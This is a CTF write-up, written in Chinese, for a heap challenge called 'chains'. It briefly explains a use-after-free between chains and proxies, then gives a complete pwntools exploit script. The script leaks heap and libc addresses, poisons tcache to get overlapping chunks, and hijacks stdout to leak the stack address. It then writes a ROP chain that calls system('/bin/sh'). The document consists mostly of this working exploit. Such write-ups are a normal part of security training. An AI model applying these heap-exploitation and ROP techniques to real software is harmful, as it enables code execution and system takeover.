Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
date challenge tags
2024-10-07 08:54
chains
UAF

这道题包装得比较巧妙,可以看到一些「类型混淆」的思路。其中 chains 和 proxies 的删除是独立的,但是 chains 当中会储存对 proxies 的引用,源码见 main.c

在取得地址泄漏后可以伪造堆块并释放进 tcache 中,获得 chunk overlap。

在最终利用中我一开始想尝试 House of Apple,但是发现 0x80 的堆块大小限制与乱七八糟的堆布局(我的问题)给布置带来了一些麻烦,最终回到泄漏 environ、劫持回栈上打 ROP:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#   expBy : @eastXueLian
#   Debug : ./exp.py debug  ./pwn -t -b b+0xabcd
#   Remote: ./exp.py remote ./pwn ip:port

from lianpwn import *
from pwncli import *

cli_script()
set_remote_libc(
    "/home/eastxuelian/config/glibc-all-in-one/libs/2.39-0ubuntu8.3_amd64/libc.so.6"
)

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc


def cmd(choice):
    ru(b"> ")
    sl(i2b(choice))


def add_proxy(host, port):
    cmd(1)
    ru(b"[?] Enter proxy hostname: ")
    sl(host)
    ru(b"[?] Enter proxy port: ")
    sl(i2b(port))


def delete_proxy(id):
    cmd(2)
    ru(b"id")
    sl(i2b(id))


def add_chain(id_list):
    cmd(3)
    ru(b"[?] Enter chain size: ")
    sl(i2b(len(id_list)))
    for i in id_list:
        ru(b"proxy id: ")
        sl(i2b(i))


def show(id):
    cmd(4)
    ru(b"[?] Enter chain id: ")
    sl(i2b(id))


def delete_chain(id):
    cmd(5)
    ru(b"id")
    sl(i2b(id))


add_proxy(b"exl0", 0)
add_proxy(b"exl1", 0)
add_chain([0])
delete_proxy(0)
add_chain([1])
show(0)
ru(b"[*] proxy #")
ru(b"is ")
heap_base = u64_ex(ru(b":", drop=True)) - 0x370
lg("heap_base", heap_base)

add_proxy(b"exl0", 0x1337)
add_proxy(
    flat(
        {
            0x80 - 0x20: [0, 0x91],
        }
    ),
    0x1337,
)
delete_chain(0)
add_proxy(b"exl3", 0x1337)
add_proxy(p64(heap_base + 0xAE0), 0)

for i in range(9):
    add_proxy(b"xxx", 0x2333)

for i in range(8):
    delete_proxy(5 + i)

show(1)
ru(b"[*] proxy #")
ru(b"is ")
libc_base = u64_ex(ru(b":", drop=True)) - 0x203B20
lg("libc_base", libc_base)

_lock = libc_base + 0x205710
_IO_wfile_jumps = libc_base + libc.sym._IO_wfile_jumps
fake_IO_FILE = heap_base + 0x9B8

f1 = IO_FILE_plus_struct()
f1.flags = u64_ex("  sh;")
f1._lock = _lock
f1._wide_data = fake_IO_FILE
f1._mode = 1
f1.vtable = _IO_wfile_jumps

add_proxy(
    flat(
        {
            0x10 + 0x88 - 0x88: bytes(f1)[0x88:],
            # 0x10 + 0xE0 - 0x88: [heap_base + 0x4F0],
        },
        filler=b"\x00",
    ),
    0,
)
add_proxy(
    flat(
        {
            0x38 + 0x00: bytes(f1)[: 128 - 0x38],
        },
        filler=b"\x00",
    ),
    0,
)
delete_proxy(3)
delete_proxy(4)
add_proxy(flat([heap_base + 0x4D0, 0]), 0)
delete_chain(1)

add_proxy(
    flat({0x18: [0x91, (heap_base >> 12) ^ (libc_base + libc.sym._IO_2_1_stdout_), 0]}),
    0,
)
add_proxy(flat({0x68: [0xDEADBEEF]}), 0)

cmd(1)
ru(b"[?] Enter proxy hostname: ")
sl(
    flat(
        [
            0xFBAD1887,
            0,
            0,
            0,
            libc_base + libc.sym.environ - 0x20,
            libc_base + libc.sym.environ + 0x20,
        ],
        filler=b"\x00",
    ),
)
ru(b"\x00" * 0x20)
stack_base = u64_ex(rn(8)) - 0x140
lg("stack_base", stack_base)

ru(b"[?] Enter proxy port: ")
sl(i2b(0))

delete_proxy(7)
delete_proxy(4)

add_proxy(
    flat({0x18: [0x91, (heap_base >> 12) ^ (stack_base - 8), 0]}),
    0,
)
add_proxy(b"exl", 0)

pop_rdi_ret = libc_base + 0x000000000010F75B
add_proxy(
    flat(
        [
            0xDEADBEEF,
            pop_rdi_ret + 1,
            pop_rdi_ret,
            libc_base + next(libc.search(b"/bin/sh\x00")),
            libc_base + libc.sym.system,
        ]
    ),
    0,
)

ia()